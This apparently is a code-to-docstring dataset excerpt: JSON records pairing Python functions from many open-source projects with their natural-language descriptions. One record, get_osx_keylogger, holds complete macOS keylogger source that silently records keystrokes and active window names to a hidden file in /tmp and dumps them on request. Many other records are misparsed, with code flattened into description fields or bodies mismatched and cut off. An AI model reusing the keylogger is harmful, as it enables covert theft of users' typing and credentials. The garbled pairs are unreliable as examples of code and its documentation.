pred_mask_logits[indices, class_pred][:, None].sigmoid()\n\n num_boxes_per_image = [len(i) for i in pred_instances]\n mask_probs_pred = mask_probs_pred.split(num_boxes_per_image, dim=0)\n\n for prob, instances in zip(mask_probs_pred, pred_instances):\n instances.pred_masks = prob\n\n\n@ROI_MASK_HEAD_REGISTRY.register()\nclass MaskRCNNConvUpsampleHead(nn.Module):\n \"\"\"\n", "nl": "Convert pred_mask_logits to estimated foreground probability masks while alsoextracting only the masks for the predicted classes in pred_instances. For eachpredicted box, the mask of the same class is attached to the instance by adding anew \"pred_masks\" field to pred_instances.Args:pred_mask_logits (Tensor): A tensor of shape (B, C, Hmask, Wmask) or (B, 1, Hmask, Wmask)for class-specific or class-agnostic, where B is the total number of predicted masksin all images, C is the number of foreground classes, and Hmask, Wmask are the heightand width of the mask predictions. The values are logits.pred_instances (list[Instances]): A list of N Instances, where N is the number of imagesin the batch. Each Instances must have field \"pred_classes\".Returns:None. pred_instances will contain an extra \"pred_masks\" field storing a mask of size (Hmask,Wmask) for predicted class. Note that the masks are returned as a soft (non-quantized)masks the resolution predicted by the network; post-processing steps, such as resizingthe predicted masks to the original image resolution and/or binarizing them, is leftto the caller."} {"code": "def get(session=None):\n builder = CryptoDeviceInfoBuilder(session)\n return builder.get_info()\n\n\nclass CryptoDeviceInfo(object):\n \"\"\"\n", "nl": "Gets crypto device info:param session: guest session, s. __init__ for details:return: CryptoDeviceInfo instance"} {"code": "def test_center(self):\n r = Rect(1, 2, 3, 4)\n new_center = (r.centerx + 20, r.centery + 30)\n expected_topleft = (r.left + 20, r.top + 30)\n old_size = r.size\n\n r.center = new_center\n self.assertEqual(new_center, r.center)\n self.assertEqual(expected_topleft, r.topleft)\n self.assertEqual(old_size, r.size)\n", "nl": "Changing the center attribute moves the rect and does not changethe rect's size"} {"code": "def remove_low_quality_peaks(peakfile, qval=0.05):\n phredval = - math.log10(qval)\n peaks = read_peakfile(peakfile)\n return peaks[peaks[\"qValue\"] > phredval]\n", "nl": "remove low quality peaks from a narrow/broad peakfilewe define low quality peaks as peaks with a FDR (qval) higher thana cutoff, defaulting to 0.05"} {"code": "def helpBrowser(self):\n self.doc_browser = helpbrowser.HelpBrowser()\n", "nl": "Open the documentation browser."} {"code": "def list(self, **kwargs):\n return self.get_instances(kwargs)\n", "nl": "Returns a page of :class:`Service` resources as a list.For paging information see :class:`ListResource`.**NOTE**: Due to the potentially voluminous amount of data in analert, the full HTTP request and response data is only returnedin the Service instance resource representation."} {"code": "def test_caching(make_run: Callable[..., Run]) -> None:\n run = make_run()\n\n assert len(run._cache) == 0\n first_load = run.predictions()\n assert len(run._cache) == 1\n\n cache_load = run.predictions()\n assert len(run._cache) == 1\n\n assert id(first_load) == id(cache_load)\n\n pickled_run = pickle.dumps(run)\n unpickled_run = pickle.loads(pickled_run)\n\n assert len(unpickled_run._cache) == 0\n unpickled_load = unpickled_run.predictions()\n assert len(unpickled_run._cache) == 1\n\n assert id(unpickled_load) != id(first_load)\n\n", "nl": "Expects-------* Attempting to load the same predictions again will cause the result to be cached* Unloading the cache will cause it to reload and reread the predictions"} {"code": "def test_unexpected_uncommented_header(self):\n tabfile = TabFile('test',self.fp)\n self.assertEqual(len(tabfile),4,\"Input has 4 lines of data\")\n self.assertEqual(tabfile.header(),[],\"Wrong header\")\n self.assertEqual(str(tabfile[0]),\"chr\\tstart\\tend\\tdata\",\"Incorrect string representation\")\n self.assertRaises(KeyError,tabfile[3].__getitem__,'chr')\n self.assertEqual(tabfile.nColumns(),4)\n\nclass TestEmptyTabFile(unittest.TestCase):\n", "nl": "Test reading in a tab file with an unexpected uncommented header"} {"code": "def use_at_least_protocol(self, protocol):\n\n self.ovsdb.del_port(port_name).execute()\n with self.ovsdb.transaction() as txn:\n txn.add(self.ovsdb.add_port(self.br_name, port_name,\n may_exist=False))\n self._set_port_dead(port_name, txn)\n\n if interface_attr_tuples:\n txn.add(self.ovsdb.db_set('Interface', port_name,\n *interface_attr_tuples))\n", "nl": "Calls to ovs-ofctl will use a protocol version >= 'protocol'self.add_protocols(protocol)self._highest_protocol_needed = max(self._highest_protocol_needed,protocol,key=version_from_protocol)self.initial_protocols.add(self._highest_protocol_needed)def set_igmp_snooping_state(self, state):state = bool(state)other_config = {'mcast-snooping-disable-flood-unregistered': 'false'}with self.ovsdb.transaction() as txn:txn.add(self.ovsdb.db_set('Bridge', self.br_name,('mcast_snooping_enable', state)))txn.add(self.ovsdb.db_set('Bridge', self.br_name,('other_config', other_config)))def set_igmp_snooping_flood(self, port_name, state):state = str(state)other_config = {'mcast-snooping-flood-reports': state,'mcast-snooping-flood': state}self.ovsdb.db_set('Port', port_name,('other_config', other_config)).execute(check_error=True, log_errors=True)def create(self, secure_mode=False):other_config = {'mac-table-size': str(cfg.CONF.OVS.bridge_mac_table_size)}with self.ovsdb.transaction() as txn:txn.add(self.ovsdb.add_br(self.br_name,datapath_type=self.datapath_type))# the ovs-ofctl commands below in run_ofctl use OF10, so we# need to ensure that this version is enabled ; we could reuse# add_protocols, but doing ovsdb.db_add avoids doing two# transactionstxn.add(self.ovsdb.db_add('Bridge', self.br_name,'protocols',*self.initial_protocols))txn.add(self.ovsdb.db_set('Bridge', self.br_name,('other_config', other_config)))if secure_mode:txn.add(self.ovsdb.set_fail_mode(self.br_name,FAILMODE_SECURE))def destroy(self):self.delete_bridge(self.br_name)def add_port(self, port_name, *interface_attr_tuples):with self.ovsdb.transaction() as txn:txn.add(self.ovsdb.add_port(self.br_name, port_name))if interface_attr_tuples:txn.add(self.ovsdb.db_set('Interface', port_name,*interface_attr_tuples))return self.get_port_ofport(port_name)def replace_port(self, port_name, *interface_attr_tuples):Replace existing port or create it, and configure port interface."} {"code": "def test_show_c(self):\n\n self.assertEqual(ergo(\"license show c\"), \"Ergonomica Copyright (C) 2017 Liam Schumm, Andy Merrill, Dhyan Patel, Pavel Golubev\")\n", "nl": "Tests `license show c` showing the copyright."} {"code": "def filelink(self, url, path):\n Each context dictionary maps object names to anchor names.\"\"\"", "nl": "Make a link to source file.return '%s' % (url, path)def markup(self, text, escape=None, funcs={}, classes={}, methods={}):Mark up some plain text, given a context of symbols to look for."} {"code": "def setUp(self):\n self.transport = StringTransport()\n self.protocol = HTTP11ClientProtocol()\n self.protocol.makeConnection(self.transport)\n\n", "nl": "Create an L{HTTP11ClientProtocol} connected to a fake transport."} {"code": "def test_simple(self):\n a = \"\"\"\n self.check(b, a)\n", "nl": "b = import syssys.exitfunc = my_atexit"} {"code": "def legacy_patch_shapes(space):\n\n if not hasattr(space, \"shape\"):\n if isinstance(space, gym.spaces.Discrete):\n space.shape = ()\n elif isinstance(space, gym.spaces.Tuple):\n shapes = []\n for s in space.spaces:\n shape = legacy_patch_shapes(s)\n shapes.append(shape)\n space.shape = tuple(shapes)\n\n return space.shape", "nl": "Assigns shapes to spaces that don't have shapes.This is only needed for older gym versions that don't set shapes properlyfor Tuple and Discrete spaces."} {"code": "def run_as_user(self):\n return self._run_as_user\n\n @run_as_user.setter", "nl": "Gets the run_as_user of this V1SecurityContext. # noqa: E501The UID to run the entrypoint of the container process. Defaults to user specified in image metadata if unspecified. May also be set in PodSecurityContext. If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence. # noqa: E501:return: The run_as_user of this V1SecurityContext. # noqa: E501:rtype: int"} {"code": "def atan2pi(y, x, queue=None):\n queue = queue or y.queue\n result = y._new_like_me(_get_common_dtype(y, x, queue))\n result.add_event(_atan2pi(result, y, x, queue=queue))\n return result\n\n\ncbrt = _make_unary_array_func(\"cbrt\")\nceil = _make_unary_array_func(\"ceil\")\n\ncos = _make_unary_array_func(\"cos\")\ncosh = _make_unary_array_func(\"cosh\")\ncospi = _make_unary_array_func(\"cospi\")\n\nerfc = _make_unary_array_func(\"erfc\")\nerf = _make_unary_array_func(\"erf\")\nexp = _make_unary_array_func(\"exp\")\nexp2 = _make_unary_array_func(\"exp2\")\nexp10 = _make_unary_array_func(\"exp10\")\nexpm1 = _make_unary_array_func(\"expm1\")\n\nfabs = _make_unary_array_func(\"fabs\")\nfloor = _make_unary_array_func(\"floor\")\n\n\n@cl_array.elwise_kernel_runner", "nl": ".. versionadded:: 2013.1"} {"code": "def rectangle(self, rect, attr=None, fill=u' '):\n raise NotImplementedError\n", "nl": "uFill Rectangle.oldtop = self.WindowTopoldpos = self.pos()#raise NotImplementedErrorx0, y0, x1, y1 = rectif attr is None:attr = self.attrif fill:rowfill = fill[:1] * abs(x1 - x0)else:rowfill = u' ' * abs(x1 - x0)for y in range(y0, y1):System.Console.SetCursorPosition(x0, y)self.write_color(rowfill, attr)self.pos(*oldpos)def scroll(self, rect, dx, dy, attr=None, fill=' '):uScroll a rectangle."} {"code": "def _get_channel_and_pc(self, dim):\n\n bunch is returned by the features() function.\n dim is the string specifying the dimensions to extract for the data.\n\n \"\"\"", "nl": "Return the channel_id and PC of a dim.if self.channel_ids is None:returnassert dim not in self.attributes # This is called only on PC data.s = 'ABCDEFGHIJ'# Channel relative index, typically just 0 or 1.c_rel = int(dim[:-1])# Get the channel_id from the currently-selected channels.channel_id = self.channel_ids[c_rel % len(self.channel_ids)]pc = s.index(dim[-1])return channel_id, pcdef _get_axis_data(self, bunch, dim, cluster_id=None, load_all=None):Extract the points from the data on a given dimension."} {"code": "def rowsort(self, axis, key=0):\n\n s = list(self.shape)\n axis = self._interpretAxis(axis)\n s[axis] += 1\n n = MetaArray(tuple(s), info=self._info, dtype=self.dtype)\n ind = [slice(None)]*self.ndim\n ind[axis] = slice(None,-1)\n n[tuple(ind)] = self\n ind[axis] = -1\n n[tuple(ind)] = val\n return n\n", "nl": "Return this object with all records sorted along axis using key as the index to the values to compare. Does not yet modify meta info.## make sure _info is copied locally before modifying it!keyList = self[key]order = keyList.argsort()if type(axis) == int:ind = [slice(None)]*axisind.append(order)elif isinstance(axis, basestring):ind = (slice(axis, order),)return self[tuple(ind)]def append(self, val, axis):Return this object with val appended along axis. Does not yet combine meta info."} {"code": "def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):\n GITS = [\"git\"]\n if sys.platform == \"win32\":\n GITS = [\"git.cmd\", \"git.exe\"]\n\n out, rc = run_command(GITS, [\"rev-parse\", \"--git-dir\"], cwd=root,\n hide_stderr=True)\n if rc != 0:\n if verbose:\n print(\"Directory %s not under git control\" % root)\n raise NotThisMethod(\"'git rev-parse --git-dir' returned error\")\n\n describe_out, rc = run_command(GITS, [\"describe\", \"--tags\", \"--dirty\",\n \"--always\", \"--long\",\n \"--match\", \"%s*\" % tag_prefix],\n cwd=root)\n if describe_out is None:\n raise NotThisMethod(\"'git describe' failed\")\n describe_out = describe_out.strip()\n full_out, rc = run_command(GITS, [\"rev-parse\", \"HEAD\"], cwd=root)\n if full_out is None:\n raise NotThisMethod(\"'git rev-parse' failed\")\n full_out = full_out.strip()\n\n pieces = {}\n pieces[\"long\"] = full_out\n pieces[\"short\"] = full_out[:7]\n pieces[\"error\"] = None\n\n git_describe = describe_out\n\n dirty = git_describe.endswith(\"-dirty\")\n pieces[\"dirty\"] = dirty\n if dirty:\n git_describe = git_describe[:git_describe.rindex(\"-dirty\")]\n\n\n if \"-\" in git_describe:\n mo = re.search(r'^(.+)-(\\d+)-g([0-9a-f]+)$', git_describe)\n if not mo:\n pieces[\"error\"] = (\"unable to parse git-describe output: '%s'\"\n % describe_out)\n return pieces\n\n full_tag = mo.group(1)\n if not full_tag.startswith(tag_prefix):\n if verbose:\n fmt = \"tag '%s' doesn't start with prefix '%s'\"\n print(fmt % (full_tag, tag_prefix))\n pieces[\"error\"] = (\"tag '%s' doesn't start with prefix '%s'\"\n % (full_tag, tag_prefix))\n return pieces\n pieces[\"closest-tag\"] = full_tag[len(tag_prefix):]\n\n pieces[\"distance\"] = int(mo.group(2))\n\n pieces[\"short\"] = mo.group(3)\n\n else:\n pieces[\"closest-tag\"] = None\n count_out, rc = run_command(GITS, [\"rev-list\", \"HEAD\", \"--count\"],\n cwd=root)\n pieces[\"distance\"] = int(count_out)\n\n date = run_command(GITS, [\"show\", \"-s\", \"--format=%ci\", \"HEAD\"],\n cwd=root)[0].strip()\n pieces[\"date\"] = date.strip().replace(\" \", \"T\", 1).replace(\" \", \"\", 1)\n\n return pieces\n\n", "nl": "Get version from 'git describe' in the root of the source tree.This only gets called if the git-archive 'subst' keywords were *not*expanded, and _version.py hasn't already been rewritten with a shortversion string, meaning we're inside a checked out source tree."} {"code": "def _ss(data):\n n = len(data)\n if n < 2:\n raise ValueError('variance requires at least two data points')\n ss = _ss(data)\n pvar = ss/n\n return pvar**0.5\n\n\nif __name__ == \"__main__\":\n main()\n", "nl": "Return sum of square deviations of sequence data.c = mean(data)ss = sum((x-c)**2 for x in data)return ssdef pstdev(data):Calculates the population standard deviation."} {"code": "def add_args(parser):\n Return a kwarg dictionary that will be used to override optimizer\n args stored in checkpoints. This allows us to load a checkpoint and\n resume training using a different set of optimizer args, e.g., with a\n different learning rate.\n \"\"\"", "nl": "Add optimizer-specific arguments to the parser.# fmt: offparser.add_argument('--momentum', default=0.99, type=float, metavar='M',help='momentum factor')parser.add_argument('--weight-decay', '--wd', default=0.0, type=float, metavar='WD',help='weight decay')# fmt: on@propertydef optimizer_config(self):"} {"code": "def update_locally(self, data):\n self._did_fetch = True\n self._data = deepcopy(data)\n", "nl": "Updates the in-memory copy, does not update persistent copy"} {"code": "def declare_namespace(packageName):\n _imp.acquire_lock()\n try:\n for package in _namespace_packages.get(parent, ()):\n subpath = _handle_ns(package, path_item)\n if subpath:\n fixup_namespace_packages(subpath, package)\n finally:\n _imp.release_lock()\n\n", "nl": "Declare that package 'packageName' is a namespace package_imp.acquire_lock()try:if packageName in _namespace_packages:returnpath, parent = sys.path, Noneif '.' in packageName:parent = '.'.join(packageName.split('.')[:-1])declare_namespace(parent)if parent not in _namespace_packages:__import__(parent)try:path = sys.modules[parent].__path__except AttributeError:raise TypeError(\"Not a package:\", parent)# Track what packages are namespaces, so when new path items are added,# they can be updated_namespace_packages.setdefault(parent, []).append(packageName)_namespace_packages.setdefault(packageName, [])for path_item in path:# Ensure all the parent's path items are reflected in the child,# if they apply_handle_ns(packageName, path_item)finally:_imp.release_lock()def fixup_namespace_packages(path_item, parent=None):Ensure that previously-declared namespace packages include path_item"} {"code": "def test_other_checks(self):\n w = Widget(string2='abc')\n self.engine.sync(w)\n tablename = Widget.meta_.ddb_tablename(self.engine.namespace)\n result = six.next(self.dynamo.scan(tablename))\n self.assertEquals(result, {\n 'string': w.string,\n 'string2': w.string2,\n 'natural_num': 1,\n 'not_null': 0,\n 'not_null_natural': 0,\n 'comp': 0,\n })\n", "nl": " Nullable=False doesn't interfere with other checks w = Widget(not_null_natural=1)with self.assertRaises(ValueError):self.engine.save(w)def test_save_defaults(self): Default field values are saved to dynamo "} {"code": "def x(self):\n return self[0]\n\n @property", "nl": " The 'x' component of the position."} {"code": "def get_osx_keylogger():\n\n\n", "nl": "return import reimport timeimport datetimeimport threadingfrom AppKit import NSApplication, NSApp, NSWorkspacefrom Foundation import NSObject, NSLogfrom Cocoa import NSEvent, NSKeyDownMaskfrom PyObjCTools import AppHelperclass keylogger():def __init__(self):self.log_file = '/tmp/.stkl.log'self.kl_status = Falsemask = NSKeyDownMaskself.st_monitor = NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(mask,self.KeyStroke)self.active_window = ''def KeyStroke(self,event):if self.kl_status:try:self.check_active_win()self.key_count += 1keystroke = re.findall(' chars=\"(.)\" ',str(event))[0]self.log_handle.write(keystroke)if self.key_count > 75:self.log_handle.write('\\\\n')self.key_count = 0#self.log_handle.write(str(event))except Exception as e:passdef check_active_win(self):if NSWorkspace.sharedWorkspace().activeApplication()['NSApplicationName'] not in self.active_win:self.active_window = NSWorkspace.sharedWorkspace().activeApplication()['NSApplicationName']now = datetime.datetime.now()start_time=now.strftime(\"%Y-%m-%d %H:%M:%S\")kl_summary = \"\\\\n\\\\n[ {} ] - {}\\\\n\".format(start_time,self.active_window)self.log_handle.write(kl_summary)def start(self):self.log_handle = open(self.log_file,'a')self.kl_status = Trueself.key_count = 0now = datetime.datetime.now()start_time=now.strftime(\"%Y-%m-%d %H:%M:%S\")kl_summary = \"\\\\n[ {} ] - Keylogger is now running\".format(start_time)self.log_handle.write(kl_summary)def stop(self):self.kl_status = Falsenow = datetime.datetime.now()end_time=now.strftime(\"%Y-%m-%d %H:%M:%S\")kl_summary = \"\\\\n\\\\n[ {} ] - Keylogger has been stopped\\\\n\".format(end_time)self.log_handle.write(kl_summary)self.log_handle.close()def get_status(self):return self.kl_statusdef dump_logs(self):with open(self.log_file,'rb') as s:resp = ''data = s.readlines()for line in data:if '\\\\x7f' in line:line = line.replace('\\\\x7f','[BS]')resp += linereturn respdef get_dump(self):if self.get_status():self.kl_status = Falseself.log_handle.close()resp=self.dump_logs()self.log_handle = open(self.log_file,'w')self.kl_status = Trueself.active_window = ''self.key_count = 0else:resp=self.dump_logs()return str(resp)"} {"code": "def getInodeNumber(self):\n if platform.isWindows():\n raise NotImplementedError\n\n st = self._statinfo\n if not st:\n self.restat()\n st = self._statinfo\n return st.st_ino\n\n", "nl": "Retrieve the file serial number, also called inode number, whichdistinguishes this file from all other files on the same device.@raise NotImplementedError: if the platform is Windows, since theinode number would be a dummy value for all files in Windows@return: a number representing the file serial number@rtype: L{int}@since: 11.0"} {"code": "def _get_store_for_key(hass, key, encoder):\n return _get_store_for_key(hass, key, JSONEncoder)\n\n", "nl": "Create a Store object for the key.return HACSStore(hass, VERSION_STORAGE, get_store_key(key), encoder=encoder)def get_store_for_key(hass, key):Create a Store object for the key."} {"code": "def resolveIP(self, ipaddr: str) -> list:\n\n if not self.validIP(ipaddr) and not self.validIP6(ipaddr):\n self.error(f\"Unable to reverse resolve {ipaddr} (Invalid IP address)\")\n return list()\n\n self.debug(f\"Performing reverse resolve of {ipaddr}\")\n\n try:\n addrs = self.normalizeDNS(socket.gethostbyaddr(ipaddr))\n except BaseException as e:\n self.debug(f\"Unable to reverse resolve IP address: {ipaddr} ({e})\")\n return list()\n\n if not addrs:\n self.debug(f\"Unable to reverse resolve IP address: {ipaddr}\")\n return list()\n\n self.debug(f\"Reverse resolved {ipaddr} to: {addrs}\")\n\n return list(set(addrs))\n", "nl": "Return a normalised resolution of an IPv4 or IPv6 address.Args:ipaddr (str): IP address to reverse resolveReturns:list: list of domain names"} {"code": "def downstream_channel_id(self):\n return int(self._packet.get('rx-packets', 0))\n\n @property", "nl": "Downstream wavelength channel identifier associated with this PON.return self._packet.get('downstream-channel-id', 0)@propertydef rx_packets(self):Sum all of the RX Packets of GEM ports that are not base TCONT's"} {"code": "def gotDoctype(self, doctype):\n print('!DOCTYPE', repr(doctype))\n", "nl": "Encountered DOCTYPEThis is really grotty: it basically just gives you everything between'' as an argument."} {"code": "def read_halltens_fixdoping(self, filename=\"\"):\n return BoltzTrapOutput(\n path=d[\"path\"],\n outtrans_data=d[\"outtrans_data\"],\n intrans_data=d[\"intrans_data\"],\n halltens_fixdoping=d[\"halltens_fixdoping\"],\n condtens_fixdoping=d[\"condtens_fixdoping\"],\n )\n\n\n\"\"\"", "nl": "Read halltens file.if filename == \"\":filename = os.path.join(self.path, \"boltztrap.halltens_fixdoping\")f = open(filename, \"r\")lines = f.read().splitlines()f.close()full_doping_data = []for i in lines:if \"#\" not in i and len(i) > 2:full_doping_data.append([float(j) for j in i.split()])d = np.array(full_doping_data)all_data = {}p_dict = defaultdict(dict)n_dict = defaultdict(dict)for i in d:T = i[0]ef = i[29] * Ry_to_evN = i[1]N_cm3 = self.dopinglevel_for_excessN(N)# print ('N,N_cm3',N,N_cm3)hall = i[2:29]if N > 0:info = {}info[\"hall\"] = hallinfo[\"Ef\"] = efinfo[\"N_cm3\"] = N_cm3p_dict[T][N] = infoelse:info = {}info[\"hall\"] = hallinfo[\"Ef\"] = efinfo[\"N_cm3\"] = N_cm3n_dict[T][N] = infoall_data[\"p\"] = p_dictall_data[\"n\"] = n_dict# self.halltens_fixdoping=all_datareturn all_data@classmethoddef from_dict(self, d={}):Load from a dictionary."} {"code": "def ready(self):\n", "nl": "Return `True` if and only if it holds a value or anexception"} {"code": "def jacobian_determinant(disp):\n\n volshape = disp.shape[1:]\n nb_dims = len(volshape)\n assert len(volshape) in (2, 3), 'flow has to be 2D or 3D'\n\n grid_lst = nd.volsize2ndgrid(volshape)\n grid = np.stack(grid_lst, 0)\n\n [xFX, xFY, xFZ] = np.gradient(grid[0] - disp[0])\n [yFX, yFY, yFZ] = np.gradient(grid[1] - disp[1])\n [zFX, zFY, zFZ] = np.gradient(grid[2] - disp[2])\n\n jac_det = np.zeros(grid[0].shape)\n for i in range(grid.shape[1]):\n for j in range(grid.shape[2]):\n for k in range(grid.shape[3]):\n jac_mij = [[xFX[i, j, k], xFY[i, j, k], xFZ[i, j, k]], [yFX[i, j, k], yFY[i, j, k], yFZ[i, j, k]], [zFX[i, j, k], zFY[i, j, k], zFZ[i, j, k]]]\n jac_det[i, j, k] = np.linalg.det(jac_mij)\n return jac_det\n\n\nimport re", "nl": "jacobian determinant of a displacement field.NB: to compute the spatial gradients, we use np.gradient.Parameters:disp: 3D displacement field of size [nb_dims, *vol_shape]Returns:jacobian determinant (matrix)"} {"code": "def __str__(self):\n", "nl": "return chr: {0}strand: {1}coverage: {2}identity: {3}seqid: {4}geneid: {8}ref exons: {5}seq exons: {6}scores: {7}.format(self.chr, self.strand, self.coverage, self.identity, self.seqid, self.ref_exons, self.seq_exons, self.scores, self.geneid)"} {"code": "def list(cls, identifier_list):\n :param int ttl: the unit is seconds.\n \"\"\"", "nl": "Model batch get methoddef cache_get(self, key):self._init_cache()if key in self.__cache__:value, expired_at = self.__cache__[key]if expired_at is None or expired_at >= int(time.time()):return value, Truereturn None, Falsedef cache_set(self, key, value, ttl=None):"} {"code": "def _get_managed_step_update(self, step_ids):\n step_str = _create_step_id_str(step_ids)\n sacct_out, _ = sacct([\"--noheader\", \"-p\", \"-b\", \"--jobs\", step_str])\n stat_tuples = [parse_sacct(sacct_out, step_id) for step_id in step_ids]\n\n updates = []\n for stat_tuple, step_id in zip(stat_tuples, step_ids):\n info = SlurmStepInfo(stat_tuple[0], stat_tuple[1])\n\n task_id = self.step_mapping.get_task_id(step_id)\n if task_id:\n _, rc, out, err = self.task_manager.get_task_update(task_id)\n if rc and rc != 0:\n info.output = out\n info.error = err\n\n updates.append(info)\n return updates\n\n @staticmethod", "nl": "Get step updates for WLM managed jobs:param step_ids: list of job step ids:type step_ids: list[str]:return: list of updates for managed jobs:rtype: list[StepInfo]"} {"code": "def load(self):\n self.monthLabel = DirectLabel(\n parent = self.monthLocator,\n relief = None,\n text = TTLocalizer.Months[self.startDate.month],\n text_scale = 0.075,\n text_font = ToontownGlobals.getMinnieFont(),\n text_fg = (40/255.0, 140/255.0, 246/255.0, 1.0),\n )\n self.yearLabel = DirectLabel(\n parent = self.yearLocator,\n relief = None,\n text = str(self.startDate.year),\n text_scale = 0.03,\n text_font = ToontownGlobals.getMinnieFont(),\n text_fg = (140/255.0, 140/255.0, 246/255.0, 1.0),\n )\n\n self.weekdayLabels = []\n for posIndex in xrange(7):\n adjustedNameIndex = (posIndex-1) % 7\n self.weekdayLabels.append( DirectLabel(\n parent = self.weekDayLocators[posIndex],\n relief = None,\n text = TTLocalizer.DayNamesAbbrev[adjustedNameIndex],\n text_font = ToontownGlobals.getInterfaceFont(),\n text_fg = (255/255.0, 146/255.0, 113/255.0, 1.0),\n text_scale = 0.05))\n self.createGuiDays()\n\n arrowUp = self.find(\"**/month_arrowR_up\")\n arrowDown = self.find(\"**/month_arrowR_down\")\n arrowHover = self.find(\"**/month_arrowR_hover\")\n self.monthLeftArrow = DirectButton(\n parent = self.monthLeftLocator,\n relief = None,\n image = (arrowUp,\n arrowDown,\n arrowHover,\n arrowUp,\n ),\n image3_color = Vec4(1, 1, 1, 0.5),\n scale = (-1.0, 1.0, 1.0),\n command = self.__doMonthLeft,\n )\n if self.onlyFutureDaysClickable:\n self.monthLeftArrow.hide()\n self.monthRightArrow = DirectButton(\n parent = self.monthRightLocator,\n relief = None,\n image = (arrowUp,\n arrowDown,\n arrowHover,\n arrowUp,\n ),\n image3_color = Vec4(1, 1, 1, 0.5),\n command = self.__doMonthRight,\n )\n\n", "nl": "Load our assets, make sure we have correct locators.monthAsset = loader.loadModel('phase_4/models/parties/tt_m_gui_sbk_calendar')monthAsset.reparentTo(self)self.monthLocator = self.find('**/locator_month/locator_month')self.attachMarker(self.monthLocator)self.weekDayLocators = []for weekday in ('sun','mon','tue','wed','thu','fri','sat'):weekDayLoc = self.find('**/loc_%s' % weekday)self.weekDayLocators.append(weekDayLoc)self.attachMarker(weekDayLoc)self.dayLocators =[]for row in xrange(6):oneWeek = []for col in xrange(7):newDayLoc = self.find('**/loc_box_%s_%s' % (row, col))oneWeek.append(newDayLoc)self.dayLocators.append(oneWeek)self.monthLeftLocator = self.find('**/locator_month_arrowL')self.monthRightLocator = self.find('**/locator_month_arrowR')self.filterLocator = self.find('**/locator_filter')self.filterLocatorArrowUp = self.find('**/locator_filter_arrowTop')self.filterLocatorArrowDown = self.find('**/locator_filter_arrowBottom')self.yearLocator = self.attachNewNode(\"yearLocator\")self.yearLocator.setPos(self.monthLocator, 0,0,-0.03)def createGuiObjects(self):Create the other gui objects in the month, assumes we have proper locators."} {"code": "def get_context_data(self, **kwargs):\n context = {}\n if 'forms' not in kwargs:\n context['forms'] = self.get_forms()\n else:\n context['forms'] = kwargs['forms']\n return context\n", "nl": "Add forms into the context dictionary."} {"code": "def test_no_subcommand():\n test_config = ApplicationConfiguration(\n application_name=\"test_config1\",\n application_version=\"1.0\",\n internals=Internals(),\n post_processor=None,\n subcommands=[\n SubCommand(\n name=\"subcommand1\",\n description=\"subcommand1\",\n version_added=\"v0.0\",\n ),\n ],\n entries=[\n SettingsEntry(\n name=\"sb1\",\n short_description=\"Subcommands\",\n subcommand_value=True,", "nl": "Ensure a configuration without no ``subparser`` entry failstest_config = ApplicationConfiguration(application_name=\"test_config1\",application_version=\"1.0\",internals=Internals(),post_processor=None,subcommands=[SubCommand(name=\"subcommand1\",description=\"subcommand1\",version_added=\"v0.0\",),],entries=[],)with pytest.raises(ValueError, match=\"No entry with subparser value defined\"):Configurator(params=[], application_configuration=test_config).configure()def test_many_subcommand():Ensure a configuration without a ``subparser`` entry fails"} {"code": "def onConnectionMade(self, xs):\n xs.serial = self.serial\n self.serial += 1\n", "nl": "Called when a server-to-server connection was made.This enables traffic debugging on incoming streams."} {"code": "def add_edge(self, src, dest):\n\t\tparent = self.get_parent(src)\n\t\tself.parent[dest] = parent\n", "nl": "Add edges to the graphedge = Edge(src, dest)self.edges.append(edge)def union(self, src, dest):When there is a edge between two vertex put them in the same subset"} {"code": "def num_bag_folds(self, num_bag_folds: int) -> ConfigBuilder:\n assert num_bag_folds >= 0, 'num_bag_folds must be greater or equal than zero'\n self.config['num_bag_folds'] = num_bag_folds\n return self\n", "nl": "Number of folds used for bagging of models. When `num_bag_folds = k`, training time is roughly increased by a factor of `k` (set = 0 to disable bagging).Disabled by default (0), but we recommend values between 5-10 to maximize predictive performance.Increasing num_bag_folds will result in models with lower bias but that are more prone to overfitting.`num_bag_folds = 1` is an invalid value, and will raise a ValueError.Values > 10 may produce diminishing returns, and can even harm overall results due to overfitting.To further improve predictions, avoid increasing `num_bag_folds` much beyond 10 and instead increase `num_bag_sets`."} {"code": "def poll_tail_pipes(pipes, lastlines_dirpath=None, waitsecs=5):\n lines = []\n bad_pipes = []\n ready, _, _ = select.select(pipes.keys(), (), (), waitsecs)\n for fi in ready:\n path = pipes[fi]\n data = fi.read()\n if len(data) == 0:\n bad_pipes.append(fi)\n continue\n\n if lastlines_dirpath:\n write_lastlines_file(lastlines_dirpath, path, data)\n\n for line in data.splitlines():\n lines.append('[%s]\\t%s\\n' % (path, line))\n\n return lines, bad_pipes\n\n", "nl": "Wait on tail pipes for new data for waitsecs, return any new lines.Args:pipes: dict; {subprocess.Popen: follow_path, ...}lastlines_dirpath: str; Path to write lastlines to.waitsecs: int; Timeout to pass to selectReturns:tuple; (lines, bad_pipes) or ([line, ...], [subprocess.Popen, ...])"} {"code": "def get_yara(self, category=\"binaries\"):\n results = []\n\n if not HAVE_YARA:\n if not File.notified_yara:\n File.notified_yara = True\n log.warning(\"Unable to import yara (please compile from sources)\")\n return results\n\n if category not in File.yara_rules:\n rulepath = self.YARA_RULEPATH % category\n if not os.path.exists(rulepath):\n log.warning(\"The specified rule file at %s doesn't exist, \"\n \"skip\", rulepath)\n return results\n\n try:\n File.yara_rules[category] = yara.compile(rulepath)\n except:\n log.exception(\"Error compiling the Yara rules.\")\n return\n\n if not os.path.getsize(self.file_path):\n return results\n\n try:\n matches = File.yara_rules[category].match(self.file_path)\n\n if getattr(yara, \"__version__\", None) == \"1.7.7\":\n return self._yara_matches_177(matches)\n\n results = []\n\n for match in matches:\n strings = set()\n for s in match.strings:\n strings.add(self._yara_encode_string(s[2]))\n\n results.append({\n \"name\": match.rule,\n \"meta\": match.meta,\n \"strings\": list(strings),\n })\n\n except Exception as e:\n log.exception(\"Unable to match Yara signatures: %s\", e)\n\n return results\n", "nl": "Get Yara signatures matches.@return: matched Yara signatures."} {"code": "def mock_open_exception(for_path, exc):", "nl": "Mock open() builtin and raises `exc` if the path being openedmatches `for_path`."} {"code": "def get_dest_artifact_of_type(self, artifact_id, dest_type_name):\n a_events = self.metadata_store.get_events_by_artifact_ids([artifact_id])\n for a_event in a_events:\n if _is_output_event(a_event):\n continue\n [execution] = self.metadata_store.get_executions_by_id(\n [a_event.execution_id])\n e_events = 